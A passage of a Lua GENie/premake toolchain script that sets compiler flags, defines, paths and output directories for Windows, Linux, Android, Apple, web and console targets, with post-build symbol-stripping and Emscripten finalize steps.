"NoEditAndContinue",
"NoFramePointer",
}
defines {
"__STDC_LIMIT_MACROS",
"__STDC_FORMAT_MACROS",
"__STDC_CONSTANT_MACROS",
}
configuration { "debug" }
do
targetsuffix ".debug"
defines {
"_DEBUG",
}
flags {
"Symbols",
}
end
configuration { "release" }
do
targetsuffix ""
flags {
"NoBufferSecurityCheck",
"OptimizeSpeed",
}
defines {
"NDEBUG",
}
end
configuration { "qbs" }
do
flags {
"ExtraWarnings",
}
end
configuration { "vs*", "x32" }
do
flags {
"EnableSSE2",
}
end
configuration { "vs*", "not orbis", "not NX32", "not NX64" }
--includedirs { path.join(ROOT_DIR, "include/compat/msvc") }
defines {
"WIN32",
"_WIN32",
"_HAS_EXCEPTIONS=0",
"_HAS_ITERATOR_DEBUGGING=0",
"_ITERATOR_DEBUG_LEVEL=0",
"_SCL_SECURE=0",
"_SECURE_SCL=0",
"_SCL_SECURE_NO_WARNINGS",
"_CRT_SECURE_NO_WARNINGS",
"_CRT_SECURE_NO_DEPRECATE",
}
buildoptions {
"/wd4201", -- warning C4201: nonstandard extension used: nameless struct/union
"/wd4324", -- warning C4324: '': structure was padded due to alignment specifier
"/Ob2", -- The Inline Function Expansion
}
linkoptions {
"/ignore:4221", -- LNK4221: This object file does not define any previously undefined public symbols, so it will not be used by any link operation that consumes this library
}
configuration { "vs2008" }
--includedirs { path.join(ROOT_DIR, "include/compat/msvc/pre1600") }
configuration { "x32", "vs*" }
targetdir (path.join(BUILD_DIR, "windows_x32_" .. _ACTION, "bin"))
objdir (path.join(BUILD_DIR, "windows_x32_" .. _ACTION, "obj"))
libdirs {
path.join(LIB_DIR, "lib/windows_x32_" .. _ACTION),
}
configuration { "x64", "vs*" }
defines { "_WIN64" }
targetdir (path.join(BUILD_DIR, "windows_x64_" .. _ACTION, "bin"))
objdir (path.join(BUILD_DIR, "windows_x64_" .. _ACTION, "obj"))
libdirs {
path.join(LIB_DIR, "lib/windows_x64_" .. _ACTION),
}
configuration { "x32", "vs2017" }
targetdir (path.join(BUILD_DIR, "windows_x32_" .. _ACTION, "bin"))
objdir (path.join(BUILD_DIR, "windows_x32_" .. _ACTION, "obj"))
libdirs {
path.join(LIB_DIR, "lib/windows_x32_" .. _ACTION),
}
configuration { "x64", "vs2017" }
defines { "_WIN64" }
targetdir (path.join(BUILD_DIR, "windows_x64_" .. _ACTION, "bin"))
objdir (path.join(BUILD_DIR, "windows_x64_" .. _ACTION, "obj"))
libdirs {
path.join(LIB_DIR, "lib/windows_x64_" .. _ACTION),
}
configuration { "ARM", "vs*" }
targetdir (path.join(BUILD_DIR, "arm_" .. _ACTION, "bin"))
objdir (path.join(BUILD_DIR, "arm_" .. _ACTION, "obj"))
configuration { "vs*-clang" }
buildoptions {
"-Qunused-arguments",
}
configuration { "x32", "vs*-clang" }
targetdir (path.join(BUILD_DIR, "windows_x32_" .. _ACTION .. "-clang/bin"))
objdir (path.join(BUILD_DIR, "windows_x32_" .. _ACTION .. "-clang/obj"))
configuration { "x64", "vs*-clang" }
targetdir (path.join(BUILD_DIR, "windows_x64_" .. _ACTION .. "-clang/bin"))
objdir (path.join(BUILD_DIR, "windows_x64_" .. _ACTION .. "-clang/obj"))
configuration { "winstore*" }
removeflags {
"StaticRuntime",
"NoBufferSecurityCheck",
}
buildoptions {
"/wd4530", -- vccorlib.h(1345): warning C4530: C++ exception handler used, but unwind semantics are not enabled. Specify /EHsc
}
linkoptions {
"/ignore:4264" -- LNK4264: archiving object file compiled with /ZW into a static library; note that when authoring Windows Runtime types it is not recommended to link with a static library that contains Windows Runtime metadata
}
configuration { "osx" }
buildoptions {
"-Wshadow",
}
configuration { "windows-clang" }
buildoptions {
"-fdeclspec",
"-fms-extensions",
--"-isystem$(MINGW)/lib/gcc/x86_64-w64-mingw32/4.8.1/include/c++",
--"-isystem$(MINGW)/lib/gcc/x86_64-w64-mingw32/4.8.1/include/c++/x86_64-w64-mingw32",
--"-isystem$(MINGW)/x86_64-w64-mingw32/include",
}
linkoptions {
"-Qunused-arguments",
"-Wno-error=unused-command-line-argument-hard-error-in-future",
}
configuration { "x32", "windows-clang" }
targetdir (path.join(BUILD_DIR, "windows_x32_clang/bin"))
objdir (path.join(BUILD_DIR, "windows_x32_clang/obj"))
libdirs {
path.join(LIB_DIR, "lib/windows_x32_clang"),
}
buildoptions { "-m32" }
configuration { "x64", "windows-clang" }
targetdir (path.join(BUILD_DIR, "windows_x64_clang/bin"))
objdir (path.join(BUILD_DIR, "windows_x64_clang/obj"))
libdirs {
path.join(LIB_DIR, "lib/windows_x64_clang"),
}
buildoptions { "-m64" }
configuration { "mingw-*" }
defines { "WIN32" }
includedirs { path.join(ROOT_DIR, "include/compat/mingw") }
defines {
"MINGW_HAS_SECURE_API=1",
}
buildoptions {
"-Wunused-value",
"-fdata-sections",
"-ffunction-sections",
"-msse2",
"-Wunused-value",
"-Wundef",
}
linkoptions {
"-Wl,--gc-sections",
"-static",
"-static-libgcc",
"-static-libstdc++",
}
configuration { "x32", "mingw" }
targetdir (path.join(BUILD_DIR, "windows_x32_mingw/bin"))
objdir (path.join(BUILD_DIR, "windows_x32_mingw/obj"))
libdirs {
path.join(LIB_DIR, "lib/windows_x32_mingw"),
}
buildoptions { "-m32" }
configuration { "x64", "mingw" }
targetdir (path.join(BUILD_DIR, "windows_x64_mingw/bin"))
objdir (path.join(BUILD_DIR, "windows_x64_mingw/obj"))
libdirs {
path.join(LIB_DIR, "lib/windows_x64_mingw"),
}
buildoptions { "-m64" }
configuration { "x32", "mingw-clang" }
targetdir (path.join(BUILD_DIR, "windows_x32_mingw-clang/bin"))
objdir (path.join(BUILD_DIR, "windows_x32_mingw-clang/obj"))
libdirs {
path.join(LIB_DIR, "lib/windows_x32_mingw-clang"),
}
buildoptions { "-m32" }
configuration { "x64", "mingw-clang" }
targetdir (path.join(BUILD_DIR, "windows_x64_mingw-clang/bin"))
objdir (path.join(BUILD_DIR, "windows_x64_mingw-clang/obj"))
libdirs {
path.join(LIB_DIR, "lib/windows_x64_mingw-clang"),
}
buildoptions { "-m64" }
configuration { "linux or linux-afl" }
do
buildoptions {
"-msse2",
-- "-Wdouble-promotion",
-- "-Wduplicated-branches",
-- "-Wduplicated-cond",
-- "-Wjump-misses-init",
--"-Wshadow",
-- "-Wnull-dereference",
"-Wunused-value",
"-Wundef",
-- "-Wuseless-cast",
}
links {
"m",
"rt",
"dl",
}
linkoptions {
"-Wl,--gc-sections",
"-Wl,--as-needed",
}
end
configuration { "linux or linux-afl", "x32" }
targetdir (path.join(BUILD_DIR, "linux_x32/bin"))
objdir (path.join(BUILD_DIR, "linux_x32/obj"))
libdirs { path.join(LIB_DIR, "lib/linux_x32") }
buildoptions {
"-m32",
}
configuration { "linux or linux-afl", "x64" }
targetdir (path.join(BUILD_DIR, "linux_x64/bin"))
objdir (path.join(BUILD_DIR, "linux_x64/obj"))
libdirs { path.join(LIB_DIR, "lib/linux_x64") }
buildoptions {
"-m64",
}
configuration { "linux-clang*" }
do
buildoptions {
"-fdeclspec",
"-fms-extensions",
}
end
configuration { "linux-clang*", "x32" }
do
targetdir (path.join(BUILD_DIR, "linux_x32_clang/bin"))
objdir (path.join(BUILD_DIR, "linux_x32_clang/obj"))
libdirs { path.join(LIB_DIR, "lib/linux_x32_clang") }
buildoptions {
"-m32",
}
end
configuration { "linux-clang*", "x64" }
do
targetdir (path.join(BUILD_DIR, "linux_x64_clang/bin"))
objdir (path.join(BUILD_DIR, "linux_x64_clang/obj"))
libdirs { path.join(LIB_DIR, "lib/linux_x64_clang") }
buildoptions {
"-m64",
}
end
configuration { "android-*" }
targetprefix ("lib")
flags {
"NoImportLib",
}
includedirs {
"$(ANDROID_NDK_ROOT)/sources/cxx-stl/llvm-libc++/include",
"${ANDROID_NDK_ROOT}/sysroot/usr/include",
--"$(ANDROID_NDK_ROOT)/sources/android/native_app_glue",
}
linkoptions {
--"-nostdlib",
}
links {
"c",
"dl",
"m",
"android",
"log",
"c++_shared",
"gcc",
}
buildoptions {
"-fdeclspec",
"-fms-extensions",
"-fPIC",
"-no-canonical-prefixes",
"-Wa,--noexecstack",
"-fstack-protector-strong",
"-ffunction-sections",
"-Wunused-value",
"-Wundef",
}
linkoptions {
"-no-canonical-prefixes",
"-Wl,--no-undefined",
"-Wl,-z,noexecstack",
"-Wl,-z,relro",
"-Wl,-z,now",
}
--[[
configuration { "linux-steamlink" }
targetdir (path.join(BUILD_DIR, "steamlink/bin"))
objdir (path.join(BUILD_DIR, "steamlink/obj"))
libdirs { path.join(LIB_DIR, "lib/steamlink") }
includedirs { path.join(ROOT_DIR, "include/compat/linux") }
defines {
"__STEAMLINK__=1", -- There is no special prefedined compiler symbol to detect SteamLink, faking it.
}
buildoptions {
"-Wfatal-errors",
"-Wunused-value",
"-Wundef",
"-pthread",
"-marm",
"-mfloat-abi=hard",
"--sysroot=$(MARVELL_SDK_PATH)/rootfs",
}
linkoptions {
"-static-libgcc",
"-static-libstdc++",
"--sysroot=$(MARVELL_SDK_PATH)/rootfs",
}
]]
configuration { "android-arm", "x32" }
do
targetdir (path.join(BUILD_DIR, "android-arm/bin"))
objdir (path.join(BUILD_DIR, "android-arm/obj"))
libdirs {
"$(ANDROID_NDK_ROOT)/sources/cxx-stl/llvm-libc++/libs/armeabi-v7a",
}
includedirs {
"$(ANDROID_NDK_ROOT)/sysroot/usr/include/arm-linux-androideabi",
}
buildoptions {
"-gcc-toolchain $(ANDROID_NDK_ARM)",
"--sysroot=" .. path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-arm"),
"-target armv7-none-linux-androideabi",
"-mthumb",
"-march=armv7-a",
"-mfloat-abi=softfp",
"-mfpu=neon",
"-Wunused-value",
"-Wundef",
}
linkoptions {
"-gcc-toolchain $(ANDROID_NDK_ARM)",
"--sysroot=" .. path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-arm"),
path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-arm/usr/lib/crtbegin_so.o"),
path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-arm/usr/lib/crtend_so.o"),
"-target armv7-none-linux-androideabi",
"-march=armv7-a",
"-Wl,--fix-cortex-a8",
}
end
configuration { "android-arm", "x64" }
do
targetdir (path.join(BUILD_DIR, "android-arm64/bin"))
objdir (path.join(BUILD_DIR, "android-arm64/obj"))
libdirs {
"$(ANDROID_NDK_ROOT)/sources/cxx-stl/llvm-libc++/libs/arm64-v8a",
}
includedirs {
"$(ANDROID_NDK_ROOT)/sysroot/usr/include/aarch64-linux-android",
}
buildoptions {
"-gcc-toolchain $(ANDROID_NDK_ARM)",
"--sysroot=" .. path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-arm64"),
"-target arm64-none-linux-android",
"-march=armv8-a",
"-Wunused-value",
"-Wundef",
}
linkoptions {
"-gcc-toolchain $(ANDROID_NDK_ARM)",
"--sysroot=" .. path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-arm64"),
path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-arm64/usr/lib/crtbegin_so.o"),
path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-arm64/usr/lib/crtend_so.o"),
"-target arm64-none-linux-android",
"-march=armv8-a",
"-Wl,--fix-cortex-a8",
}
end
configuration { "android-x86" }
targetdir (path.join(BUILD_DIR, "android-x86/bin"))
objdir (path.join(BUILD_DIR, "android-x86/obj"))
libdirs {
"$(ANDROID_NDK_ROOT)/sources/cxx-stl/llvm-libc++/libs/x86",
}
includedirs {
"$(ANDROID_NDK_ROOT)/sysroot/usr/include/x86_64-linux-android",
}
buildoptions {
"-gcc-toolchain $(ANDROID_NDK_X86)",
"--sysroot=" .. path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-x86"),
"-target i686-none-linux-android",
"-march=i686",
"-mtune=atom",
"-mstackrealign",
"-msse3",
"-mfpmath=sse",
"-Wunused-value",
"-Wundef",
}
linkoptions {
"-gcc-toolchain $(ANDROID_NDK_X86)",
"--sysroot=" .. path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-x86"),
path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-x86/usr/lib/crtbegin_so.o"),
path.join("$(ANDROID_NDK_ROOT)/platforms", android_platform, "arch-x86/usr/lib/crtend_so.o"),
"-target i686-none-linux-android",
}
configuration { "asmjs" }
targetdir (path.join(BUILD_DIR, "asmjs/bin"))
objdir (path.join(BUILD_DIR, "asmjs/obj"))
libdirs { path.join(LIB_DIR, "lib/asmjs") }
buildoptions {
"-s WASM=0", -- no Wasm
"-fdeclspec",
"-fms-extensions",
--"-isystem\"$(EMSCRIPTEN)/system/include\"",
--"-isystem\"$(EMSCRIPTEN)/system/include/libcxx\"",
--"-isystem\"$(EMSCRIPTEN)/system/include/libc\"",
"-Wunused-value",
"-Wundef",
}
configuration { "wasm" }
targetdir (path.join(BUILD_DIR, "wasm/bin"))
objdir (path.join(BUILD_DIR, "wasm/obj"))
libdirs { path.join(LIB_DIR, "lib/wasm") }
buildoptions {
"-s WASM=0", -- no Wasm
"-fdeclspec",
"-fms-extensions",
--"-isystem\"$(EMSCRIPTEN)/system/include\"",
--"-isystem\"$(EMSCRIPTEN)/system/include/libcxx\"",
--"-isystem\"$(EMSCRIPTEN)/system/include/libc\"",
"-Wunused-value",
"-Wundef",
}
--[[
configuration { "freebsd" }
targetdir (path.join(BUILD_DIR, "freebsd/bin"))
objdir (path.join(BUILD_DIR, "freebsd/obj"))
libdirs { path.join(LIB_DIR, "lib/freebsd") }
includedirs {
path.join(ROOT_DIR, "include/compat/freebsd"),
}
]]
configuration { "xbox360" }
targetdir (path.join(BUILD_DIR, "xbox360/bin"))
objdir (path.join(BUILD_DIR, "xbox360/obj"))
includedirs { path.join(ROOT_DIR, "include/compat/msvc") }
libdirs { path.join(LIB_DIR, "lib/xbox360") }
defines {
"NOMINMAX",
}
configuration { "durango" }
targetdir (path.join(BUILD_DIR, "durango/bin"))
objdir (path.join(BUILD_DIR, "durango/obj"))
includedirs { path.join(ROOT_DIR, "include/compat/msvc") }
libdirs { path.join(LIB_DIR, "lib/durango") }
removeflags { "StaticRuntime" }
defines {
"NOMINMAX",
}
configuration { "netbsd" }
targetdir (path.join(BUILD_DIR, "netbsd/bin"))
objdir (path.join(BUILD_DIR, "netbsd/obj"))
libdirs { path.join(LIB_DIR, "lib/netbsd") }
includedirs {
path.join(ROOT_DIR, "include/compat/freebsd"),
}
configuration { "osx", "x32" }
targetdir (path.join(BUILD_DIR, "osx32_clang/bin"))
objdir (path.join(BUILD_DIR, "osx32_clang/obj"))
--libdirs { path.join(LIB_DIR, "lib/osx32_clang") }
buildoptions {
"-m32",
}
configuration { "osx", "x64" }
targetdir (path.join(BUILD_DIR, "osx64_clang/bin"))
objdir (path.join(BUILD_DIR, "osx64_clang/obj"))
--libdirs { path.join(LIB_DIR, "lib/osx64_clang") }
buildoptions {
"-m64",
}
configuration { "osx", "Universal" }
targetdir (path.join(BUILD_DIR, "osx_universal/bin"))
objdir (path.join(BUILD_DIR, "osx_universal/bin"))
configuration { "osx" }
buildoptions {
"-fdeclspec",
"-fms-extensions",
"-Wfatal-errors",
"-msse2",
"-Wunused-value",
"-Wundef",
}
includedirs { path.join(ROOT_DIR, "include/compat/osx") }
configuration { "ios*" }
linkoptions {
"-lc++",
}
buildoptions {
"-fdeclspec",
"-fms-extensions",
"-Wfatal-errors",
"-Wunused-value",
"-Wundef",
}
includedirs { path.join(ROOT_DIR, "include/compat/ios") }
configuration { "xcode*", "ios*" }
targetdir (path.join(BUILD_DIR, "ios-arm/bin"))
objdir (path.join(BUILD_DIR, "ios-arm/obj"))
configuration { "ios-arm" }
targetdir (path.join(BUILD_DIR, "ios-arm/bin"))
objdir (path.join(BUILD_DIR, "ios-arm/obj"))
libdirs { path.join(LIB_DIR, "lib/ios-arm") }
linkoptions {
"-arch armv7",
}
buildoptions {
"-arch armv7",
}
configuration { "ios-arm64" }
targetdir (path.join(BUILD_DIR, "ios-arm64/bin"))
objdir (path.join(BUILD_DIR, "ios-arm64/obj"))
libdirs { path.join(LIB_DIR, "lib/ios-arm64") }
linkoptions {
"-arch arm64",
}
buildoptions {
"-arch arm64",
}
configuration { "ios-arm*" }
linkoptions {
"-miphoneos-version-min=7.0",
"--sysroot=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS" ..ios_platform .. ".sdk",
"-L/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS" ..ios_platform .. ".sdk/usr/lib/system",
"-F/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS" ..ios_platform .. ".sdk/System/Library/Frameworks",
"-F/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS" ..ios_platform .. ".sdk/System/Library/PrivateFrameworks",
}
buildoptions {
"-miphoneos-version-min=7.0",
"--sysroot=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS" ..ios_platform .. ".sdk",
"-fembed-bitcode",
}
configuration { "ios-simulator" }
do
targetdir (path.join(BUILD_DIR, "ios-simulator/bin"))
objdir (path.join(BUILD_DIR, "ios-simulator/obj"))
libdirs { path.join(LIB_DIR, "lib/ios-simulator") }
linkoptions {
"-mios-simulator-version-min=7.0",
"-arch i386",
"--sysroot=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator" ..ios_platform .. ".sdk",
"-L/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator" ..ios_platform .. ".sdk/usr/lib/system",
"-F/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator" ..ios_platform .. ".sdk/System/Library/Frameworks",
"-F/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator" ..ios_platform .. ".sdk/System/Library/PrivateFrameworks",
}
buildoptions {
"-mios-simulator-version-min=7.0",
"-arch i386",
"--sysroot=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator" ..ios_platform .. ".sdk",
}
end
configuration { "ios-simulator64" }
do
targetdir (path.join(BUILD_DIR, "ios-simulator64/bin"))
objdir (path.join(BUILD_DIR, "ios-simulator64/obj"))
libdirs { path.join(LIB_DIR, "lib/ios-simulator64") }
linkoptions {
"-mios-simulator-version-min=7.0",
"-arch x86_64",
"--sysroot=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator" ..ios_platform .. ".sdk",
"-L/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator" ..ios_platform .. ".sdk/usr/lib/system",
"-F/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator" ..ios_platform .. ".sdk/System/Library/Frameworks",
"-F/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator" ..ios_platform .. ".sdk/System/Library/PrivateFrameworks",
}
buildoptions {
"-mios-simulator-version-min=7.0",
"-arch x86_64",
"--sysroot=/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneSimulator.platform/Developer/SDKs/iPhoneSimulator" ..ios_platform .. ".sdk",
}
end
configuration { "tvos*" }
do
linkoptions {
"-lc++",
}
buildoptions {
"-fdeclspec",
"-fms-extensions",
"-Wfatal-errors",
"-Wunused-value",
"-Wundef",
}
includedirs { path.join(ROOT_DIR, "include/compat/ios") }
end
configuration { "xcode*", "tvos*" }
do
targetdir (path.join(BUILD_DIR, "tvos-arm64/bin"))
objdir (path.join(BUILD_DIR, "tvos-arm64/obj"))
end
configuration { "tvos-arm64" }
do
targetdir (path.join(BUILD_DIR, "tvos-arm64/bin"))
objdir (path.join(BUILD_DIR, "tvos-arm64/obj"))
libdirs { path.join(LIB_DIR, "lib/tvos-arm64") }
linkoptions {
"-mtvos-version-min=9.0",
"-arch arm64",
"--sysroot=/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/SDKs/AppleTVOS" ..tvos_platform .. ".sdk",
"-L/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/SDKs/AppleTVOS" ..tvos_platform .. ".sdk/usr/lib/system",
"-F/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/SDKs/AppleTVOS" ..tvos_platform .. ".sdk/System/Library/Frameworks",
"-F/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/SDKs/AppleTVOS" ..tvos_platform .. ".sdk/System/Library/PrivateFrameworks",
}
buildoptions {
"-mtvos-version-min=9.0",
"-arch arm64",
"--sysroot=/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/SDKs/AppleTVOS" ..tvos_platform .. ".sdk",
}
end
configuration { "tvos-simulator" }
do
targetdir (path.join(BUILD_DIR, "tvos-simulator/bin"))
objdir (path.join(BUILD_DIR, "tvos-simulator/obj"))
libdirs { path.join(LIB_DIR, "lib/tvos-simulator") }
linkoptions {
"-mtvos-simulator-version-min=9.0",
"-arch i386",
"--sysroot=/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVSimulator.platform/Developer/SDKs/AppleTVSimulator" ..tvos_platform .. ".sdk",
"-L/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVSimulator.platform/Developer/SDKs/AppleTVSimulator" ..tvos_platform .. ".sdk/usr/lib/system",
"-F/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVSimulator.platform/Developer/SDKs/AppleTVSimulator" ..tvos_platform .. ".sdk/System/Library/Frameworks",
"-F/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVSimulator.platform/Developer/SDKs/AppleTVSimulator" ..tvos_platform .. ".sdk/System/Library/PrivateFrameworks",
}
buildoptions {
"-mtvos-simulator-version-min=9.0",
"-arch i386",
"--sysroot=/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVSimulator.platform/Developer/SDKs/AppleTVSimulator" ..tvos_platform .. ".sdk",
}
end
--[[
configuration { "orbis" }
targetdir (path.join(BUILD_DIR, "orbis/bin"))
objdir (path.join(BUILD_DIR, "orbis/obj"))
libdirs { path.join(LIB_DIR, "lib/orbis") }
includedirs {
path.join(ROOT_DIR, "include/compat/freebsd"),
"$(SCE_ORBIS_SDK_DIR)/target/include",
"$(SCE_ORBIS_SDK_DIR)/target/include_common",
}]]
configuration { "rpi" }
targetdir (path.join(BUILD_DIR, "rpi/bin"))
objdir (path.join(BUILD_DIR, "rpi/obj"))
libdirs {
path.join(LIB_DIR, "lib/rpi"),
"/opt/vc/lib",
}
defines {
"__VCCOREVER__=0x04000000", -- There is no special prefedined compiler symbol to detect RaspberryPi, faking it.
"__STDC_VERSION__=199901L",
}
buildoptions {
"-Wunused-value",
"-Wundef",
}
includedirs {
"/opt/vc/include",
"/opt/vc/include/interface/vcos/pthreads",
"/opt/vc/include/interface/vmcs_host/linux",
}
links {
"rt",
"dl",
}
linkoptions {
"-Wl,--gc-sections",
}
--[[
configuration { "riscv" }
targetdir (path.join(BUILD_DIR, "riscv/bin"))
objdir (path.join(BUILD_DIR, "riscv/obj"))
defines {
"__BSD_VISIBLE",
"__MISC_VISIBLE",
}
includedirs {
"$(FREEDOM_E_SDK)/work/build/riscv-gnu-toolchain/riscv64-unknown-elf/prefix/riscv64-unknown-elf/include",
path.join(ROOT_DIR, "include/compat/riscv"),
}
buildoptions {
"-Wunused-value",
"-Wundef",
"--sysroot=$(FREEDOM_E_SDK)/work/build/riscv-gnu-toolchain/riscv64-unknown-elf/prefix/riscv64-unknown-elf",
}
]]
configuration {} -- reset configuration
return true
end
function strip()
configuration { "android-arm", "release" }
do
postbuildcommands {
"$(SILENT) echo Stripping symbols.",
"$(SILENT) $(ANDROID_NDK_ARM)/bin/arm-linux-androideabi-strip -s \"$(TARGET)\""
}
end
configuration { "android-x86", "release" }
do
postbuildcommands {
"$(SILENT) echo Stripping symbols.",
"$(SILENT) $(ANDROID_NDK_X86)/bin/i686-linux-android-strip -s \"$(TARGET)\""
}
end
configuration { "linux-steamlink", "release" }
do
postbuildcommands {
"$(SILENT) echo Stripping symbols.",
"$(SILENT) $(MARVELL_SDK_PATH)/toolchain/bin/armv7a-cros-linux-gnueabi-strip -s \"$(TARGET)\""
}
end
configuration { "linux-* or rpi", "not linux-steamlink", "release" }
do
postbuildcommands {
"$(SILENT) echo Stripping symbols.",
"$(SILENT) strip -s \"$(TARGET)\""
}
end
configuration { "mingw*", "release" }
do
postbuildcommands {
"$(SILENT) echo Stripping symbols.",
"$(SILENT) $(MINGW)/bin/strip -s \"$(TARGET)\""
}
end
configuration { "asmjs" }
do
postbuildcommands {
"$(SILENT) echo Running asmjs finalize.",
"$(SILENT) \"$(EMSCRIPTEN)/emcc\" -O2 "
-- .. "-s ALLOW_MEMORY_GROWTH=1 "
-- .. "-s ASSERTIONS=2 "
-- .. "-s EMTERPRETIFY=1 "
-- .. "-s EMTERPRETIFY_ASYNC=1 "
.. "-s PRECISE_F32=1 "
.. "-s TOTAL_MEMORY=268435456 "
-- .. "-s USE_WEBGL2=1 "
.. "-s WASM=0 " -- no wasm
.. "--memory-init-file 1 "
.. "\"$(TARGET)\" -o \"$(TARGET)\".html "
-- .. "--preload-file ../../../examples/runtime@/ "
}
end
configuration { "wasm" }
do
postbuildcommands {
"$(SILENT) echo Running asmjs finalize.",
"$(SILENT) \"$(EMSCRIPTEN)/emcc\" -O2 "
-- .. "-s ALLOW_MEMORY_GROWTH=1 "
-- .. "-s ASSERTIONS=2 "
-- .. "-s EMTERPRETIFY=1 "
-- .. "-s EMTERPRETIFY_ASYNC=1 "
.. "-s PRECISE_F32=1 "
.. "-s TOTAL_MEMORY=268435456 "
-- .. "-s USE_WEBGL2=1 "
.. "-s WASM=1 " -- has wasm
.. "--memory-init-file 1 "
.. "\"$(TARGET)\" -o \"$(TARGET)\".html "
-- .. "--preload-file ../../../examples/runtime@/ "
}
end
--[[
configuration { "riscv" }
postbuildcommands {
"$(SILENT) echo Stripping symbols.",
"$(SILENT) $(FREEDOM_E_SDK)/work/build/riscv-gnu-toolchain/riscv64-unknown-elf/prefix/bin/riscv64-unknown-elf-strip -s \"$(TARGET)\""
}
]]
configuration {} -- reset configuration
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.